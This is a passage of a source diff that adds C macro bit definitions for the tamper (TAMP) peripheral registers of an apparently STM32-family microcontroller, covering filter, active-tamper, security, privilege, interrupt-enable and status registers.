(0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << 